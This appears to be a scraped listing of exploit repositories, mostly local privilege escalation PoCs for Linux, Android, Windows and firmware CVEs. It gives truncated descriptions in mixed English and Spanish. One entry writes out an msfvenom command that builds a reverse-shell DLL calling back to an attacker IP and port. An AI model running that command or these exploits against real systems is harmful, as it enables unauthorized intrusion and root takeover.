ghostlock-emerald

GhostLock for POCO M6 Pro emerald GhostLock CVE-2026-43499 is a 15-year-old Linux kernel use-after-free in the futex priority-inheritance code that lets any local user gain root. This project uses it to root the POCO M6 Pro MediaTek Helio G99 Ultra / MT6789 and install KernelSU on a locked...

COWSlip

COWSlip: XFS reflink stale-mapping LPE originally RefluXFS or CVE-2026-64600 The name describes the mechanism: COW identifies XFS copy-on-write/reflink handling. Slip describes the stale data-fork mapping slipping to the wrong physical block after the ILOCK cycle. However, official credits belong...

CVE-2019-11932

CVE-2019-11932 La dirección del sistema y el gadget deben reemplazarse por la dirección real encontrada por una vulnerabilidad de divulgación de información. Después de reemplazar la dirección del sistema y el gadget. Ejecute el código para generar el archivo GIF dañado:...

CVE-2022-0486

Fidelis Network and Deception - CVE-2022-0486 - Escalación de Privilegios por Permisos de Archivo Inseguros - Múltiples Publicación y Agradecimientos Todos los exploits fueron aprobados para su divulgación pública por el Gobierno de los Estados Unidos. Un agradecimiento especial al personal milit...

sudoinjection

CVE-2025-32463: Escalada de Privilegios Local mediante sudo -R NSS Injection Resumen Este PoC demuestra escalada de privilegios local en sistemas Linux mediante el abuso de la opción sudo -R en conjunto con un módulo NSS personalizado. Apunta a la vulnerabilidad CVE-2025-32463, que se origina en ...

exploits

exploits CVE-2021-22600: Linux kernel LPE exploit CVE-2021-3156: Linux local privilege escalation through heap overflow in sudo Demo CVE-2021-3156: One shot exploit for heap overflow vulnerability in sudo CVE-2020-6507: Out of bounds write in V8. Chrome versions = 83.0.4103.97. RCE CVE-2020-16040...

linux-kernel-exploits

linux-kernel-exploits Introduction linux-kernel-exploits Vulnerability List CVE Description Kernels CVE–2018–18955 mapwrite in kernel/usernamespace.c allows privilege escalation Linux kernel 4.15.x through 4.19.x before 4.19.2 CVE–2018–1000001 glibc glibc 2.6.22 released in 2007 CVE-2016-2384 a...

cve-2023-21768-compiled

cve-2023-21768-compiled-version Tested on windows22H2 22621.963. Code from:https://github.com/xforcered/WindowsLPEAFDCVE-2023-21768...

CVE-2022-0435

CVE-2022-0435 LPE PoC para CVE-2022-0435 El PoC fue escrito asumiendo que kaslr estaba deshabilitado...

CVE-2022-36162

CVE-2022-36162 Suggested description pdftoroff hovacui 1.1.0 is affected by: Command execution. The impact is: execute arbitrary code local. The component is: hovacui.c, line 1574. The attack vector is: To exploit the vulnerability, you just have to change HOME environment variable, put some...

CVE-2025-47810

PunkBuster LPI CVE-2025-47810 Background PunkBuster installs itself as two services, and an optional? kernel driver. PnkBstrA: Service that runs constantly in the background, and in charge of managing PunkBuster as a whole PnkBstrB: Service that starts when a protected game starts. Comes with mor...

abrt_root

Resumen Este repositorio contiene un PoC de explotación para CVE-2025-12744, una vulnerabilidad de escalada de privilegios local en instalaciones predeterminadas de Fedora Linux versiones 43 e inferiores, tanto Escritorio como Servidor. El fallo proviene de una inyección de comandos en el demonio...

CVE-2026-43499-root-KernelSU

CVE-2026-43499-root-KernelSU A local privilege escalation adaptation based on kernel vulnerability CVE-2026-43499, with embedded KernelSU integrated. It compiles to produce preload.so; upon successful exploitation, KernelSU will be started in late-load mode jailbreak mode. Supports generating...

CVE-2023-52927

CVE-2023-52927 LPE exploit for CVE-2023-52927 - a Use-After-Free vulnerability in netfilter. My write-up of the vulnerability: CVE-2023-52927 - Turning a Forgotten Syzkaller Report into kCTF Exploit Reproducer: KASAN trigger poc Building Install dependencies: make prerequisites Build exploit: mak...

CVE-2021-22555

CVE-2021-22555 Núcleo de Linux 2.6.19 5.9 - 'Escalada de Privilegios Local en Netfilter'...

CVE-2026-36213

CVE-2026-36213 CVE-2026-36213 | Escalada de privilegios local en MEmu Android Emulator 9.2.7.0 mediante permisos inseguros en binario de servicio | Parcheado en 9.3.2 CVE-2026-36213 — MEmu Android Emulator 9.2.7.0 LPE Resumen Una vulnerabilidad de escalada de privilegios local LPE en MEmu Android...

CVE-2024-50804

CVE-2024-50804 Writeup can be found on my blog below. Thanks! https://g3tsyst3m.github.io/cve/msi/Arbitrary-Write-Privilege-Escalation-CVE-2024-50804/...

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...

root-exploit-pixel3

Exploit de Root para la Familia Pixel 3 Esta carpeta contiene un exploit de escalada de privilegios local, una modificación del PoC de bluefrostsecurity para CVE-2020-0041. El exploit desactiva SELinux y luego lanza un shell de root. El exploit fue proporcionado con offsets fijos para un...

SmmExploit

SmmExploit This is a report and an exploit of CVE-2021-26943, the kernel-to-SMM local privilege escalation vulnerability in ASUS UX360CA BIOS version 303. The issue was fixed in the version 304. Issue Description Summary UX360CA BIOS version 303 has 3 vulnerable modules that allow an attacker wit...